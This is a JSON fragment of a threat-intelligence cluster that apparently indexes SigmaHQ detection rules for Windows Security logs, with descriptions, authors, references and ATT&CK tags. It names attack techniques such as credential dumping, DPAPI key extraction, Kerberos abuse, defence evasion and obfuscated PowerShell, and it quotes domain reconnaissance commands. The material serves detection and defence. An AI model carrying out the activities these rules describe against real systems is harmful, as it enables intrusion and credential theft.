          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_clip_services_security.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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          ],
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        }
      ],
      "uuid": "4edf51e1-cb83-4e1a-bc39-800e396068e3",
      "value": "Invoke-Obfuscation CLIP+ Launcher - Security"
    },
    {
      "description": "Detects activity as \"net user administrator /domain\" and \"net group domain admins /domain\"",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Jack Croock (method), Jonhnathan Ribeiro (improvements), oscd.community",
        "creation_date": "2017/03/07",
        "falsepositive": [
          "Administrator activity"
        ],
        "filename": "win_security_susp_net_recon_activity.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://findingbad.blogspot.de/2017/01/hunting-what-does-it-look-like.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_net_recon_activity.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1087.002",
          "attack.t1069.002",
          "attack.s0039"
        ]
      },
      "related": [
        {
          "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "968eef52-9cff-4454-8992-1e74b9cbad6c",
      "value": "Reconnaissance Activity"
    },
    {
      "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_invoke_obfuscation_via_use_clip_services_security.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_clip_services_security.yml"
        ],
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          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
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        {
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "1a0a2ff1-611b-4dac-8216-8a7b47c618a6",
      "value": "Invoke-Obfuscation Via Use Clip - Security"
    },
    {
      "description": "Detects Windows Pcap driver installation based on a list of associated .sys files.",
      "meta": {
        "author": "Cian Heasley",
        "creation_date": "2020/06/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_pcap_drivers.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://ragged-lab.blogspot.com/2020/06/capturing-pcap-driver-installations.html#more",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_pcap_drivers.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.credential_access",
          "attack.t1040"
        ]
      },
      "related": [
        {
          "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529",
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          ],
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        }
      ],
      "uuid": "7b687634-ab20-11ea-bb37-0242ac130002",
      "value": "Windows Pcap Drivers"
    },
    {
      "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe",
      "meta": {
        "author": "Samir Bousseaden",
        "creation_date": "2019/04/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_atsvc_task.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_atsvc_task.yml"
        ],
        "tags": [
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          "attack.persistence",
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          "car.2015-04-001",
          "attack.t1053.002"
        ]
      },
      "related": [
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          "type": "related-to"
        }
      ],
      "uuid": "f6de6525-4509-495a-8a82-1f8b0ed73a00",
      "value": "Remote Task Creation via ATSVC Named Pipe"
    },
    {
      "description": "Detects possible Kerberos Replay Attack on the domain controllers when \"KRB_AP_ERR_REPEAT\" Kerberos response is sent to the client",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/10/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_replay_attack_detected.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4649",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_replay_attack_detected.yml"
        ],
        "tags": [
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          "attack.t1558"
        ]
      },
      "related": [
        {
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "5a44727c-3b85-4713-8c44-4401d5499629",
      "value": "Replay Attack Detected"
    },
    {
      "description": "Potential threat actor tampering with Sysmon manifest and eventually disabling it",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/07/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_sysmon_channel_reference_deletion.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Flangvik/status/1283054508084473861",
          "https://gist.github.com/Cyb3rWard0g/cf08c38c61f7e46e8404b38201ca01c8",
          "https://twitter.com/SecurityJosh/status/1283027365770276866",
          "https://securityjosh.github.io/2020/04/23/Mute-Sysmon.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sysmon_channel_reference_deletion.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "18beca67-ab3e-4ee3-ba7a-a46ca8d7d0cc",
      "value": "Sysmon Channel Reference Deletion"
    },
    {
      "description": "Detects well-known credential dumping tools execution via service execution events",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2017/03/05",
        "falsepositive": [
          "Legitimate Administrator using credential dumping tool for password recovery"
        ],
        "filename": "win_security_mal_creddumper.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_creddumper.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.execution",
          "attack.t1003.001",
          "attack.t1003.002",
          "attack.t1003.004",
          "attack.t1003.005",
          "attack.t1003.006",
          "attack.t1569.002",
          "attack.s0005"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
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        },
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
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          ],
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        },
        {
          "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
          "tags": [
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          ],
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        },
        {
          "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530",
          "tags": [
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          ],
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        },
        {
          "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163",
          "tags": [
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          ],
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        },
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
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          ],
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        }
      ],
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      "value": "Credential Dumping Tools Service Execution - Security"
    },
    {
      "description": "Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller.",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2019/08/10",
        "falsepositive": [
          "If a computer is a member of a domain, DPAPI has a backup mechanism to allow unprotection of the data. Which will trigger this event."
        ],
        "filename": "win_security_dpapi_domain_masterkey_backup_attempt.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190620-DomainDPAPIBackupKeyExtraction/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_masterkey_backup_attempt.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
          "tags": [
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "39a94fd1-8c9a-4ff6-bf22-c058762f8014",
      "value": "DPAPI Domain Master Key Backup Attempt"
    },
    {
      "description": "Detects non-system users failing to get a handle of the SCM database.",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2019/08/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_scm_database_handle_failure.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190826-RemoteSCMHandle/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_handle_failure.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1010"
        ]
      },
      "related": [
        {
          "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "13addce7-47b2-4ca0-a98f-1de964d1d669",
      "value": "SCM Database Handle Failure"
    },
    {
      "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_invoke_obfuscation_via_var_services_security.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_var_services_security.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4c54ba8f-73d2-4d40-8890-d9cf1dca3d30",
      "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security"
    },
    {
      "description": "Detects possible bypass EDR and SIEM via abnormal user account name.",
      "meta": {
        "author": "Ilyas Ochkov, oscd.community",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_new_or_renamed_user_account_with_dollar_sign.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_new_or_renamed_user_account_with_dollar_sign.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cfeed607-6aa4-4bbd-9627-b637deb723c8",
      "value": "New or Renamed User Account with '$' in Attribute 'SamAccountName'"
    },
    {
      "description": "Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.",
      "meta": {
        "author": "Tim Shelton (HAWK.IO)",
        "creation_date": "2021/12/06",
        "falsepositive": [
          "Read only access list authority"
        ],
        "filename": "win_security_net_share_obj_susp_desktop_ini.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_share_obj_susp_desktop_ini.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.009"
        ]
      },
      "related": [
        {
          "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "35bc7e28-ee6b-492f-ab04-da58fcf6402e",
      "value": "Windows Network Access Suspicious desktop.ini Action"
    },
    {
      "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques",
      "meta": {
        "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Legitimate OpenVPN TAP insntallation"
        ],
        "filename": "win_security_tap_driver_installation.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_tap_driver_installation.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1048"
        ]
      },
      "related": [
        {
          "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9c8afa4d-0022-48f0-9456-3712466f9701",
      "value": "Tap Driver Installation - Security"
    },
    {
      "description": "Detect suspicious Kerberos TGT requests.\nOnce an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes.\nOne way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus.\nThis request will generate a 4768 event with some unusual fields depending on the environment.\nThis analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.\n",
      "meta": {
        "author": "Mauricio Velazco, Michael Haag",
        "creation_date": "2021/09/02",
        "falsepositive": [
          "False positives are possible if the environment is using certificates for authentication. We recommend filtering Account_Name to the Domain Controller computer accounts."
        ],
        "filename": "win_security_petitpotam_susp_tgt_request.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/topotam/PetitPotam",
          "https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/",
          "https://github.com/splunk/security_content/blob/develop/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_susp_tgt_request.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1187"
        ]
      },
      "related": [
        {
          "dest-uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6a53d871-682d-40b6-83e0-b7c1a6c4e3a5",
      "value": "PetitPotam Suspicious Kerberos TGT Request"
    },
    {
      "description": "Detects the usage of the 'SeLoadDriverPrivilege' privilege. This privilege is required to load or unload a device driver.\nWith this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode.\nThis user right does not apply to Plug and Play device drivers.\nIf you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers.\nThis will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools. So you have to work with a whitelist to find the bad stuff.\n",
      "meta": {
        "author": "xknow (@xknow_infosec), xorxes (@xor_xes)",
        "creation_date": "2019/04/08",
        "falsepositive": [
          "Other legimate tools loading drivers. Including but not limited to, Sysinternals, CPU-Z, AVs etc. A baseline needs to be created according to the used products and allowed tools. A good thing to do is to try and exclude users who are allowed to load drivers."
        ],
        "filename": "win_security_user_driver_loaded.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/",
          "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4673",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_driver_loaded.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f63508a0-c809-4435-b3be-ed819394d612",
      "value": "Potential Privileged System Service Operation - SeLoadDriverPrivilege"
    },
    {
      "description": "Detects Obfuscated use of Environment Variables to execute PowerShell",
      "meta": {
        "author": "Jonathan Cheong, oscd.community",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_invoke_obfuscation_var_services_security.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_var_services_security.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "dcf2db1f-f091-425b-a821-c05875b8925a",
      "value": "Invoke-Obfuscation VAR+ Launcher - Security"
    },
    {
      "description": "Detects write access requests to the Windows Defender exclusions registry keys. This could be an indication of an attacker trying to request a handle or access the object to write new exclusions in order to bypass security.\n",
      "meta": {
        "author": "@BarryShooshooga, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2019/10/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_windows_defender_exclusions_write_access.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_windows_defender_exclusions_write_access.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e9c8808f-4cfb-4ba9-97d4-e5f3beaa244d",
      "value": "Windows Defender Exclusion Reigstry Key - Write Access Requested"
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    {
      "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation",
      "meta": {
        "author": "Teymur Kheirkhabarov, Ecco, Florian Roth",
        "creation_date": "2019/10/26",
        "falsepositive": [
          "Highly unlikely"
        ],
        "filename": "win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/",
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        ],
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        },
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        }
      ],
      "uuid": "ecbc5e16-58e0-4521-9c60-eb9a7ea4ad34",
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      "description": "Detects service ticket requests using RC4 encryption type",
      "meta": {
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        ],
        "filename": "win_security_susp_rc4_kerberos.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.trimarcsecurity.com/single-post/TrimarcResearch/Detecting-Kerberoasting-Activity",
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        {
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        }
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        "falsepositive": [
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        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
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          "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/",
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        ],
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        ]
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        ],
        "filename": "win_security_susp_raccess_sensitive_fext.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
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        ],
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        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_external_device.yml"
        ],
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        "author": "frack113",
        "creation_date": "2022/10/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_add_remove_computer.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
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          "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4741",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4743",
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      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton",
        "creation_date": "2019/08/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_scm_database_privileged_operation.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190826-RemoteSCMHandle/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_privileged_operation.yml"
        ],
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          "attack.privilege_escalation",
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        {
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      "meta": {
        "author": "James Pemberton / @4A616D6573",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_susp_local_anon_logon_created.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
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          "https://twitter.com/SBousseaden/status/1189469425482829824",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_local_anon_logon_created.yml"
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      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2019/08/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_protected_storage_service_access.yml",
        "level": "high",
        "logsource.category": "No established category",
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          "https://threathunterplaybook.com/hunts/windows/190620-DomainDPAPIBackupKeyExtraction/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_protected_storage_service_access.yml"
        ],
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          "attack.t1021.002"
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      },
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        }
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        "author": "oscd.community, Natalia Shornikova",
        "creation_date": "2020/10/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_powershell_script_installed_as_service.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_powershell_script_installed_as_service.yml"
        ],
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        {
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      "meta": {
        "author": "Pushkarev Dmitry",
        "creation_date": "2020/06/27",
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        ],
        "filename": "win_security_not_allowed_rdp_access.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4825",
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      "description": "Rule to detect the Hybrid Connection Manager service installation.",
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        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2021/04/12",
        "falsepositive": [
          "Legitimate use of Hybrid Connection Manager via Azure function apps."
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        "filename": "win_security_hybridconnectionmgr_svc_installation.yml",
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        "logsource.category": "No established category",
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        "refs": [
          "https://twitter.com/Cyb3rWard0g/status/1381642789369286662",
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        {
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      "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_invoke_obfuscation_via_rundll_services_security.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_rundll_services_security.yml"
        ],
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      "description": "Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs",
      "meta": {
        "author": "Samir Bousseaden",
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          "If source account name is not an admin then its super suspicious"
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        "filename": "win_security_account_discovery.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.menasec.net/2019/02/threat-hunting-5-detecting-enumeration.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_discovery.yml"
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      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2019/07/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_ad_replication_non_machine_account.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/180815-ADObjectAccessReplication/notebook.html",
          "https://threathunterplaybook.com/hunts/windows/190101-ADModDirectoryReplication/notebook.html",
          "https://threathunterplaybook.com/library/windows/active_directory_replication.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_replication_non_machine_account.yml"
        ],
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          "attack.credential_access",
          "attack.t1003.006"
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      "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Legitimate used of encrypted ZIP files"
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        "filename": "win_security_susp_opened_encrypted_zip_outlook.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/sbousseaden/status/1523383197513379841",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_outlook.yml"
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          "attack.t1027",
          "attack.t1566.001"
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      },
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        {
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          ],
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      ],
      "uuid": "571498c8-908e-40b4-910b-d2369159a3da",
      "value": "Password Protected ZIP File Opened (Email Attachment)"
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    {
      "description": "Automatically lock workstation sessions after a standard period of inactivity.\nThe case is not applicable for Unix OS. Supported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019.\n",
      "meta": {
        "author": "Alexandr Yampolskyi, SOC Prime",
        "creation_date": "2019/03/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_workstation_was_locked.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800",
          "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf",
          "https://www.cisecurity.org/controls/cis-controls-list/",
          "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_workstation_was_locked.yml"
        ],
        "tags": "No established tags"
      },
      "uuid": "411742ad-89b0-49cb-a7b0-3971b5c1e0a4",
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    {
      "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/06/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_dot_net_etw_tamper.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38",
          "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39",
          "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables",
          "http://managed670.rssing.com/chan-5590147/all_p1.html",
          "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_",
          "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf",
          "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr",
          "https://twitter.com/_xpn_/status/1268712093928378368",
          "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code",
          "https://bunnyinside.com/?term=f71e8cb9c76a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dot_net_etw_tamper.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112",
          "attack.t1562"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a4c90ea1-2634-4ca0-adbb-35eae169b6fc",
